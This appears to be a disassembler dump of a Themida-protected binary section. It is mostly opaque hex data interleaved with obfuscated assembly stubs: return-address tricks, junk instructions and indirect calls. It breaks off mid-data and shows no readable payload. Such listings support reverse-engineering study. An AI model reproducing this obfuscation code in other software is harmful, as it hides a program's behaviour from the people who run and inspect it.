0FE806h, 0E9370000h, 0F01AB8B9h, 7479257Bh, 5CD6C10h dd 0DDB5290Fh, 5A06A821h, 0B5958957h, 5F06A80Fh, 3AC3858Dh dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0B02FC0C3h, 1660179Fh, 8BA05DC2h, 59D29CBh dd 0FF06A81Fh, 1B3FBAD0h, 85896B56h, 6A80909h, 68D0Fh dd 0D1810000h, 4C3E3F5Fh, 15D585C6h, 804706A8h, 0F368B6C2h dd 983D0B5h, 0A8266D95h, 119D0906h, 0FF06A810h, 0A831F9B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 36679CE7h, 7A14697Ah, 0C18022BFh, 0C3858DB1h dd 8906A83Ah, 0A80F299Dh, 66D0FF06h, 89E294BFh, 0A81AC985h dd 5F28106h, 0C67C9FE8h, 0A815D585h, 6A7706h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 356D2BC3h dd 8B6652F1h, 0A3685FCEh, 66F397A8h, 0B5FFD08Bh, 6A80D2Dh dd 0DE9h, 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 858D7FF7h dd 6A83AC3h, 34298589h, 0D0FF06A8h, 263D8589h, 858906A8h dd 6A82235h, 25298D8Bh, 85C606A8h, 6A815D5h, 48B0F47h dd 66000000h, 68EBA7BFh, 8728FAF6h, 2123BF66h, 31F9B5FFh dd 0D08B06A8h, 3AC3858Dh, 0D0FF06A8h, 8589CF8Bh, 6A832D1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h dd 0B70FF3A7h, 19BD8BCBh, 8106A815h, 0E93C5FEAh, 0D585C662h dd 4306A815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 34C35545h, 0F69095AFh, 0F59D89DBh, 6806A801h, 0BC8E6EFCh dd 575B76B9h, 0F9B5FF7Ah, 6A06A831h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 99EBC353h dd 0E78166D6h, 858D0E73h, 6A83AC3h, 0CE957h, 59620000h dd 72D2F326h, 19F78400h, 0FF5F4988h, 599531D0h, 8906A809h dd 0A81AC185h, 6E806h, 6F630000h, 66B78AF2h, 0EA38BA66h dd 28E0F5Ah, 8B000000h, 0D585C6D0h, 4506A815h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2BC35747h, 294DA721h dd 0A821158Dh, 69696806h, 85898E72h, 6A80579h, 31F9B5FFh dd 12E906A8h, 0D000000h, 3974D0F2h, 11F616ECh, 0DBE6EACEh dd 0F5C00FE4h, 49958BA0h, 8D06A826h, 0A83AC385h, 6870F06h dd 0B000000h, 0A80D45BDh, 8BD0FF06h, 818589CFh, 0C606A800h dd 0A815D585h, 9D294406h, 6A80099h, 0F2EC6468h, 0FFD38BB8h dd 0A831F9B5h, 0C3858D06h, 3106A83Ah, 0A82E4595h, 8BD0FF06h dd 0D58589CEh, 6606A829h, 0C63D84B9h, 0A815D585h, 6A4306h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 218799C3h, 3DDBA52Bh, 57C28166h, 4AA76830h, 3B9C076h dd 0FF616898h, 0A831F9B5h, 0FFB70F06h, 3AC3858Dh, 896006A8h dd 0A80F8D85h, 0D6816606h, 0B96151B6h, 70B41DA8h, 0DE9D0FFh dd 0A5000000h, 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0F558589h dd 0BD2306A8h, 6A80F7Dh, 0F787BD80h, 0F0006AAh, 7284h dd 0CDBD0100h, 8D06A819h, 0AAF76985h, 6E806h, 0B53F0000h dd 0DE5F101Dh, 17D9D89h, 505906A8h, 7D850960h, 2906A822h dd 0A807E1BDh, 16A6106h, 0B297B966h, 8D8B006Ah, 6A82801h dd 0BD8B006Ah, 6A826ADh, 28195FFh, 95B106A8h, 0D6D8589h dd 958B06A8h, 6A81AADh, 0E981FF6Ah, 0EA6409Eh, 0D6DB5FFh dd 665306A8h, 6E8AE281h, 7D95FF5Ah, 8B06A82Ah, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A50460F5h, 605EFFDEh, 8D1958Bh, 858B06A8h, 6A8257Dh dd 12E861h, 0C55F0000h, 5A413953h, 8E54C416h, 9308CC5Fh dd 5AADBF2Bh, 19ED958Bh, 835F06A8h, 0A81ED9BDh, 9750006h dd 2DE9BD83h, 740006A8h, 8B535019h, 7D1B8C0h, 85890000h dd 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h dd 50177400h, 7D1B853h, 85890000h, 6A807B5h, 9E9B9D8Dh dd 0D3FF06AAh, 0EF8A585Bh, 0FE9h, 23921B00h, 0CF4608C9h dd 0CEBCACD8h, 0B1141E2Fh, 0EC8AC08Bh, 15D585C6h, 894706A8h dd 0A80D31BDh, 0F7C16806h, 6A93C8h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 11E883C3h dd 25000000h, 0EA7B9F24h, 70028E81h, 3B483341h, 89C35875h dd 59FEBF0Fh, 31F9B5FFh, 0BD8906A8h, 6A80DE5h, 3AC3858Dh dd 0EE8006A8h, 6AD0FFE2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0A807C353h, 9E982h, 83890000h, 0D19C19F3h, 5070BDCFh dd 140D9D89h, 858D06A8h, 6AAFBAAh, 0CB18D8Bh, 0C706A8h dd 94h, 0ABA4B966h, 58F8BF0Fh, 0FBAAB58Dh, 0E58006AAh dd 8B505605h, 0A80CF995h, 0D0FF5F06h, 0E9CCB760h, 0Fh dd 6C5A7736h, 552D1A5Fh, 0A7F371EEh, 61223B3Fh, 0FBAA858Dh dd 8D8906AAh, 6A82DE5h, 6047883h, 29850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 76FEB6C3h, 3E85C7F9h, 106AAFCh, 83000000h, 0A806D9BDh dd 850F0006h, 9Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0B8C35747h, 971D92E5h, 33501F5Fh, 0A8265DBDh dd 0BD835906h, 6AAFC3Eh, 66850F00h, 89000000h, 0A81DC995h dd 0BE906h, 9E6E0000h, 8F3C3CDBh, 905C7BD9h, 6DBD83D7h dd 6A827h, 43840Fh, 85C70000h, 6A81BFDh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_57A1C3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A1C3 proc near ; CODE XREF: Themida_:0057A1BBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_57A1C3 endp ; --------------------------------------------------------------------------- db 6Ch ; --------------------------------------------------------------------------- mov word ptr [edx+ebx-58BC8A34h], ds jns loc_57A1E6 mov edx, 7AA8E7FDh loc_57A1E6: ; CODE XREF: Themida_:0057A1DBj jmp loc_57A1F1 ; --------------------------------------------------------------------------- mov edi, 0A660983h xchg eax, esp loc_57A1F1: ; CODE XREF: Themida_:loc_57A1E6j mov bx, ds cld stc test bl, 4 jz loc_57A7B1 sub [ebp+6A832A5h], edx mov dword ptr [ebp+6A8339Dh], 0 xor cx, 0EAB3h cmp byte ptr [ebp+6AAF794h], 0 jnz loc_57A222 cmc loc_57A222: ; CODE XREF: Themida_:0057A21Bj mov byte ptr [ebp+6A815D5h], 47h jo loc_57A246 jmp loc_57A246 ; --------------------------------------------------------------------------- dd 5F6275E5h, 0F37BF6F0h, 0E89AD391h, 0D95B4097h ; --------------------------------------------------------------------------- jmp dword ptr [ebx] ; --------------------------------------------------------------------------- loc_57A246: ; CODE XREF: Themida_:0057A229j ; Themida_:0057A22Fj push 0E3E45B86h push dword ptr [ebp+6A831F9h] push 0 push eax call sub_57A25C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A25C proc near ; CODE XREF: Themida_:0057A254p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57A25C endp ; --------------------------------------------------------------------------- dd 858DC4E1h, 6A83AC3h, 0D0FFDBB2h, 68D18B66h, 104h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 44C35646h, 7D4C118h dd 2CC1B529h, 9D8D06A8h, 6A81C35h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0F3C35242h, 0BF66D238h, 0BA538551h dd 38F35197h, 6AD0FFF9h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 833CC355h, 0F0B5AB4h dd 8166D7BFh, 8DB2B1D2h, 0A81C3585h, 38F0F06h, 0F000000h dd 0BF50D2B7h, 7C96AFC7h, 0F746858Dh, 14E906AAh, 0F6000000h dd 0B39CF318h, 0C082F08Bh, 0B7341FAEh, 196BF660h, 50ECAB64h dd 5E9h, 0B44A7E00h, 8D0F9443h, 3, 8DCA8B66h, 0AAEE1985h dd 99958B06h, 5006A829h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 1AC35747h, 8C0996B9h, 6810F26h, 0B000000h dd 0A82F998Dh, 3595FF06h, 8B06A822h, 0A8029595h, 0CC48306h dd 6810Fh, 8D890000h, 6A80BA5h, 8068006Ah, 6A000000h, 6A006A03h dd 6800h, 858D8000h, 6AAEE19h, 0C195FF50h, 8906A81Ah, 0AAF72985h dd 0D585C606h, 4706A815h, 0B15E8768h, 0F9B5FFC7h, 8D06A831h dd 0A83AC385h, 6AD0FF06h, 29B5FF00h, 0FF06AAF7h, 0D18151D0h dd 2505A61h, 6800F59h, 89000000h, 0A831D19Dh, 37D03D06h dd 830F0000h, 48h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 9EC35242h, 0FFD08B66h, 0AAF729B5h, 71BD2906h dd 8B06A82Ch, 0A819F595h, 5595FF06h, 8B06A80Fh, 0A82CBDBDh dd 0DFE906h, 0BD890000h, 6A82CD5h, 0F729B5FFh, 8D8906AAh dd 6A81A5Dh, 0F5595FFh, 0ADB106A8h, 8A0F006Ah, 2, 6ACF8Bh dd 6A34B5h, 15EDB589h, 5A5306A8h, 11E9006Ah, 56000000h dd 6A46BDDDh, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 4CC4CEC3h, 0BC9A72Dh, 0A8306595h, 0C9BD2906h, 6A06A830h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 391B67A7h, 0B3D8D8Bh, 858D06A8h, 6AAF72Dh dd 6820Fh, 0BD8B0000h, 6A83495h, 50CAB70Fh, 85896BB5h dd 6A8021Dh, 1AC195FFh, 0B58906A8h, 6A82C9Dh, 0F883FA8Bh dd 77850FFFh, 0F000001h, 48Ch, 10B96600h, 0B9858D11h, 0BA06AAB2h dd 46D96D6h, 8060D0FFh, 9D8BF6F1h, 6A80621h, 6A006A61h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7C02C357h, 0CA881FCh, 8B8473AEh, 0A834A595h dd 0CA816606h, 6ADA7Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 9CC35747h, 9E9A410h, 0C8000000h, 0A6396C5h dd 0A7A45CCFh, 8589006Ah, 6A8310Dh, 0AE9006Ah, 53000000h dd 0D01BE089h, 0D28372A7h, 8B006A62h, 8B006AF8h, 0A80E3995h dd 5D8D8B06h, 8D06A834h, 0AAF72D85h, 1BD2B06h, 5006A802h dd 9E9h, 0FEC97100h, 0CF3280A7h, 95FFF014h, 6A81AC1h, 0C5D9589h dd 0F88306A8h, 9B850FFFh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DC9FC350h dd 8D0F5AC6h, 1Dh, 11E8h, 0A8AC6400h, 907A57F1h, 1527E025h dd 5638E797h, 9589E331h, 6A80971h, 3DF815Ah, 8D76BAA5h dd 0AAF135B5h, 0CE8B6006h, 16D99531h, 8D6106A8h, 0AA9B7C85h dd 12E906h, 0D20D0000h, 1965609Ch, 480A62CEh, 537775E8h dd 88F3C493h, 14AD8D8Bh, 0D0FF06A8h, 0E45BD8Bh, 3DBF06A8h dd 6A26BE51h, 0B98D2B00h, 0FF06A826h, 0A8008195h, 5FBDBA06h dd 85896312h, 6AAF729h, 219D8D09h, 6A06A8h, 21858DF9h dd 5006AAF7h, 153237B9h, 8D046A43h, 0A8072585h, 4800F06h dd 66000000h, 50D5CCB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0DCC35646h, 8B2BCE00h, 0A8160995h, 0F88B6606h dd 0BA66006Ah, 6A97D5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 5C35343h, 9701278Ch, 25099D89h, 958906A8h dd 6A82B15h, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C50617C3h, 0FF67BDC4h, 0AAF729B5h dd 419D8906h, 0BF06A826h, 2667384Eh, 29D595FFh, 10E806A8h dd 2C000000h, 64CA30B6h, 84627862h, 294D2BC9h, 0E88C478Dh dd 0Dh, 0CBB0BB8Eh, 428B7524h, 0A418932h, 8E0F95h, 5A000000h dd 1AFDE95Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0DEB536C3h, 9F6C9A0Fh, 25C28166h db 0D9h ; --------------------------------------------------------------------------- loc_57A7B1: ; CODE XREF: Themida_:0057A1F9j mov eax, eax pusha jmp loc_57A7C7 ; --------------------------------------------------------------------------- db 18h, 0Ch, 0BEh dd 0C3958815h, 64D7BDF4h db 0D9h, 0F2h, 0C4h ; --------------------------------------------------------------------------- loc_57A7C7: ; CODE XREF: Themida_:0057A7B4j xor edi, 426295E8h popa cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_57A7E0 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57A7F9 loc_57A7E0: ; CODE XREF: Themida_:0057A7D5j push eax push ebx mov eax, eax mov eax, 7D2h mov [ebp+6A807B5h], eax lea ebx, [ebp+6AAA1ACh] call ebx pop ebx pop eax loc_57A7F9: ; CODE XREF: Themida_:0057A7DEj cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57A819 push eax push ebx mov eax, 7D2h mov [ebp+6A807B5h], eax lea ebx, [ebp+6AA9E9Bh] call ebx pop ebx pop eax loc_57A819: ; CODE XREF: Themida_:0057A800j mov [ebp+6A815ADh], ebx add di, 0D0F2h mov eax, eax push 0 push esi call sub_57A831 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A831 proc near ; CODE XREF: Themida_:0057A829p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_57A831 endp ; --------------------------------------------------------------------------- db 0E6h, 8, 7Dh dd 0C7C88BEAh, 0A8339D85h, 106h, 0EE800h, 7D3F0000h, 1C15EAC7h dd 0F3D6602h, 0C0976803h, 0FA5958Bh, 685A06A8h, 0CEE4E7B8h dd 69DB5FFh, 858D06A8h, 6A83AC3h, 8589D0FFh, 6A817F1h dd 0F985858Dh, 8D5006AAh, 0AAFC4285h, 1685006h, 0FF800000h dd 0A817F195h, 75C00B06h, 3D85C70Ah, 106A832h, 68000000h dd 0C005DBD4h, 69DB5FFh, 858D06A8h, 6A83AC3h, 8589D0FFh dd 6A80D11h, 0EBD2858Dh, 0FF5006AAh, 0A831F9B5h, 995FF06h dd 0B06A809h, 8B0B74C0h, 85858DD8h, 5006AAFBh, 858DD3FFh dd 6AAFB85h, 9388366h, 85C70A75h, 6A80A99h, 1, 32D195FFh dd 0FF2506A8h, 83000000h, 0A7305F8h, 21C585C7h, 106A8h dd 8AF80000h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 43C7CC2Ch, 18899BF9h, 0BD80BE0Ch dd 6AAF794h, 2B840F00h, 8B000000h, 0A805218Dh, 3EBD8306h dd 6AAFCh, 41840Fh, 8E80000h, 35000000h, 3F60F617h, 609FA87Ah dd 66D3B70Fh, 0A5D1DF81h, 0CE95961h, 6A000019h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6870C352h, 2B2AAB7Ah, 83FEB70Fh, 0A80A99BDh, 850F0006h dd 90h, 10E9h, 0DAF1B500h, 0FCD986D5h, 0D57EE54Ch, 4B87382h dd 5E858DBDh, 5006AAF7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0DFC35343h, 16A00E2h, 6ACE8Bh, 10E9h dd 3E988900h, 0C7B338BAh, 60A8B530h, 0EA63B6B1h, 8B006AB9h dd 8195FFD7h, 8906A802h, 0A807C9B5h, 88858906h, 0BF06AAF7h dd 623F6373h, 0BD8BFF6Ah, 6A817CDh, 0F788B5FFh, 8D8B06AAh dd 6A81509h, 95FFD7B1h, 6A82A7Dh, 0A796B966h, 0EB99858Dh dd 10E906AAh, 0BE000000h, 86400CDAh, 0A2445Eh, 12D6BA54h dd 0FCB83E1h, 6A50FFB7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 9F9CC352h, 9DD7DA81h dd 9E9057Ah, 6B000000h, 0DD47C457h, 732F19E4h, 1EED95FFh dd 816606A8h, 898A04DAh, 0AAEC2385h, 20D98106h, 8D537460h dd 0AAEBA685h, 2850F06h, 8B000000h, 820F50CFh, 16h, 11E9h dd 0B1F90900h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh, 12E9A27Eh dd 0CE000000h, 75A0BB9Eh, 0D285B7BFh, 0F2A750C4h, 0BD8207B2h dd 23B5FF45h, 0E806AAECh, 5, 0BC0CD60Ch, 0C28166AEh, 0FF5A3C62h dd 0A8090995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8589FB97h, 6A814B1h, 2E11BD8Bh dd 858D06A8h, 6AAEC14h, 1820F60h, 0FC000000h, 96ADCA81h dd 896178E5h, 0A832D595h, 0B5FF5006h, 6AAEC23h, 90995FFh dd 0FAB906A8h, 8972A4DFh, 0AAEC3785h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0FC558B76h, 3216F28h, 798D8BDAh, 8B06A830h, 0A8312995h dd 0F3858D06h, 6A06AAEBh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 3127C356h, 0B5FF5062h dd 6AAEC23h, 0FFC9BF0Fh, 0A8090995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 81667343h dd 89F0DAE2h, 0AAEC2F85h, 0B1B52906h, 8D06A82Fh, 0AAEBE685h dd 0B99D0906h, 5006A830h, 0AE9h, 25135800h, 0A0195FC1h dd 0FFCE2C63h, 0AAEC23B5h, 0DDBD8B06h, 0FF06A810h, 0A8090995h dd 0CBB70F06h, 0EC338589h, 816606AAh, 80CFC4D1h, 858D7AD9h dd 6AAEC01h, 1E259D29h, 0FF5006A8h, 0AAEC23B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 6A05A685h, 8A0F691Ch, 4, 0ABB8B966h, 90995FFh, 858906A8h dd 6A8330Dh, 2899B589h, 0BD8B06A8h, 6A82115h, 0EBB5858Dh dd 0CA8B06AAh, 26B96650h, 0FFF88B63h, 0AAEC23B5h, 0A8BDB906h dd 95FF3680h, 6A80909h, 7E8h, 0C74A4300h, 0ECEACC61h, 2785895Fh dd 6A06AAECh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 38F2C350h, 858D853Bh, 6AAEBC4h dd 0FE9h, 0F0397000h, 0A402FA40h, 84AA753Dh, 834D3551h dd 3FDD8050h, 0EC23B5FFh, 0BEB906AAh, 0FF0F9531h, 0A8090995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 57A32A73h, 0E2B9662Ch, 0E2816647h, 8589EB98h dd 6AAEC2Bh, 8BFBB70Fh, 0A822D9BDh, 1046806h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 858DBEC3h, 6AAECBBh, 51006A50h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 7C5C87CEh, 668040B6h dd 0C836D981h, 8DC4F580h, 0AAEDBF85h, 31F95006h, 0A820D98Dh dd 0C995FF06h, 8B06A81Ah, 0A8345995h, 3850F06h, 66000000h dd 0C085F98Bh, 2E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0E10A15C3h, 561CA90Bh dd 0B966D7CDh, 0BD0B3904h, 6A825E1h, 0F794BD80h, 0F0006AAh dd 2F85h, 0E9F08A00h, 148Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0D8C35242h, 86BCA463h, 8589A092h dd 6A80721h, 0A99BD83h, 0F0006A8h, 1085h, 3EBD8300h, 6AAFCh dd 5D840Fh, 8B660000h, 58858DD3h, 8B06AAECh, 0A80B018Dh dd 1435E906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FACDCC3h, 28Bh, 0E95F5200h, 2Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0B2C35040h dd 8D525EACh, 0AAEC4385h, 71950106h, 5006A80Ah, 0C5958950h dd 5A06A810h, 0ECBB858Dh, 61B506AAh, 57006A50h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0C4B966D1h dd 99BD8367h, 6A80Ah, 3E840Fh, 81660000h, 8D25EBF2h, 0AAEDE185h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 81666CCEh, 0E9E839D7h, 13h, 6870Fh, 958B0000h dd 6A83039h, 0EDCA858Dh, 50F906AAh, 918EA81h, 858D6227h dd 6AAEE19h, 5850Fh, 3FBA0000h, 50373BF5h, 3595FFFCh, 6006A822h dd 56EC1FB9h, 0B9BD891Fh, 6106A828h, 2910C483h, 0A82F35B5h dd 0E9C08B06h, 13h, 10620C9Ch, 63B7AD8Ah, 6381D9B5h, 2CFB531Fh dd 83BBA826h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h dd 8B535019h, 7D3B8C0h, 85890000h, 6A807B5h, 0A1AC9D8Dh dd 0D3FF06AAh, 0BD83585Bh, 6A82DE9h, 50177400h, 7D3B853h dd 85890000h, 6A807B5h, 9E9B9D8Dh, 0D3FF06AAh, 13E9585Bh dd 4F000000h, 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh dd 0C180C024h, 6AC08B78h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 89E9C350h, 6E986AEh dd 0C6000000h, 0A0270575h, 43BD8121h, 6F06AAECh, 0F616572h dd 0B784h, 0FD8D8900h, 8D06A814h, 0AAECBB85h, 858D5006h dd 6AAEDF8h, 19858D50h, 5006AAEEh, 223595FFh, 0C48306A8h dd 0D585C60Ch dd 4406A815h, 0A3184F68h, 0F9B5FF96h, 8D06A831h, 0A83AC385h dd 8BD0FF06h, 19858DD8h, 5006AAEEh, 858DD3FFh, 6AAEC43h dd 0BB858D50h, 5006AAECh, 0A99BD83h, 740006A8h, 0E1858D08h dd 0EB06AAEDh, 0CA858D06h, 5006AAEDh, 0EE19858Dh, 0FF5006AAh dd 0A8223595h, 10C48306h, 0AE9h, 0AA07CA00h, 0ECF4C7Eh dd 6ABC53F2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 3B6DC351h, 9058D03h, 9D8906A8h dd 6A80AD5h, 32D195FFh, 0DF8106A8h, 8A279EDh, 0FF25h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A5D1D2E0h, 528A8E19h, 0C8B70F56h, 12E95A5Ah, 0F4000000h dd 0C9EB927h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh, 5F8832Eh dd 39830Fh, 61B90000h, 0C73E4AAEh, 0A821C585h, 106h, 0D18B6600h dd 0EC77858Dh, 9E906AAh, 70000000h, 0F71B15A3h, 653C7276h dd 60E9h, 0BD8B6000h, 6A81605h, 21A9BD8Bh, 836106A8h, 0A80A99BDh dd 840F0006h, 33h, 0F09B589h, 858D06A8h, 6AAECA2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 65C35646h, 80F06836h dd 12E96BDEh, 8D000000h, 0AAEC8485h, 6840F06h, 1000000h dd 0A8302D8Dh, 0B7858906h, 6A06AAECh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AA5C355h dd 23274E45h, 599D89CCh, 8306A822h, 0A80A99BDh, 850F0006h dd 1Dh, 0DEFEBA66h, 0FC3EBD83h, 0F0006AAh, 1784h, 41BD8B00h dd 8906A82Eh, 0A82D7985h, 1071E906h, 0B9660000h, 0E5B199F2h dd 398E9h, 6810F00h, 8B000000h, 0A80D3195h, 8BC08B06h dd 0A81719BDh, 0D9BD8306h, 6A81Eh, 0BD830975h, 6A82DE9h dd 50197400h, 0B8C08B53h, 7D4h, 7B58589h, 9D8D06A8h, 6AAA1ACh dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h, 7D4h, 7B58589h dd 9D8D06A8h, 6AA9E9Bh, 585BD3FFh, 0B0D8D8Bh, 0C08B06A8h dd 0F003F68h, 6890F00h, 2B000000h, 0A81B6D95h, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 26B0C351h, 6A237054h, 0FBBF0F00h, 14B195FFh dd 12E906A8h, 75000000h, 40C57A9Ah, 31051B9h, 807D4E7Bh dd 52E13328h, 0FC0853Ah, 0C85h, 0C5EA8100h, 8954E381h dd 0A829A18Dh, 3B858906h, 3106AAECh, 0A81F29B5h, 89006A06h dd 0A810D195h, 3006A06h, 0A82D9DBDh, 6A006A06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0D186C352h, 4FB2CC71h, 6AD38B66h, 0C9BF0F00h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 858DDBC3h, 6AAEE19h, 0AC18D8Bh, 8D8906A8h, 6A8062Dh dd 0D6BF6650h, 0E8016A34h, 5, 25EB9426h, 6DBD8B69h, 5906A832h dd 7E9016Ah, 7B000000h, 5CE3DA6Fh, 16A4C78h, 68D18B66h dd 0F01FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 71C35747h, 0BD899B2Fh, 6A830E5h, 38C0Fh, 0BF0F0000h dd 99BD83FEh, 6A80Ah, 44840Fh, 0DA810000h, 40ECB5Dh, 49B51FBFh dd 98858D44h, 8A06AAECh, 36E9EAh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 609CD2C3h dd 62CE1965h, 0E18D230Ah, 6606A807h, 858DC88Bh, 6AAEC6Eh dd 9934B966h, 0FF50F550h, 0AAEC3BB5h, 0D9BD8B06h, 0FF06A825h dd 0AAEC2795h, 0C085F506h, 7850Fh, 34E90000h, 0B6000000h dd 3F85893Ah, 0E906AAECh, 8, 178EFCD3h, 34505B49h, 0EC3FB5FFh dd 0B70F06AAh, 0D95FFD2h, 8B06A833h, 0FC085F9h, 685h, 0ADBD2900h dd 6A06A80Eh, 51006A10h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8354C84Dh, 0A80A99BDh, 840F0006h dd 40h, 0EC98858Dh, 6A06AAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 3BA0C1C3h, 0F5EF056Dh dd 0EB8A5BB5h, 33F5B589h, 15E906A8h, 8B000000h, 0A82895BDh dd 0D2B70F06h, 0EC6E858Dh, 8D8B06AAh, 6A83449h, 57006A50h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0C3D5191Ah, 7B741AB4h, 0B70FACA9h, 3BB5FFFFh, 6606AAECh dd 89BDD181h, 0EC3395FFh, 8D8906AAh, 6A80AD1h, 850FC085h dd 6, 3285B589h, 858906A8h, 6AAEC3Fh, 1591958Bh, 6A06A8h dd 148E0Fh, 8E80000h, 0DB000000h, 0F2EE04D3h, 99EA873h dd 0A82B5D95h, 6A5A06h, 68B0Fh, 0EA810000h, 0CDA74CEh dd 0EC3FB5FFh, 820F06AAh, 5, 0F2D58060h, 2B95FF61h, 8506AAECh dd 4850FC0h, 66000000h, 0FFCE17B9h, 0AAEC3FB5h, 0A0BA6606h dd 0D95FF76h, 306A833h, 0A80D7195h, 0FC08506h, 485h, 0E3BA6600h dd 0E8006A7Bh, 9, 0C72FEDAAh, 3ACAC64Ch, 9BD33BEh, 5A06A825h dd 8068h, 6A595700h, 1B810F03h, 0E8000000h, 13h, 0CE69C4B1h dd 0FA600BB2h, 8C5A9722h, 49B85E92h, 6091CC76h, 6A5A61h dd 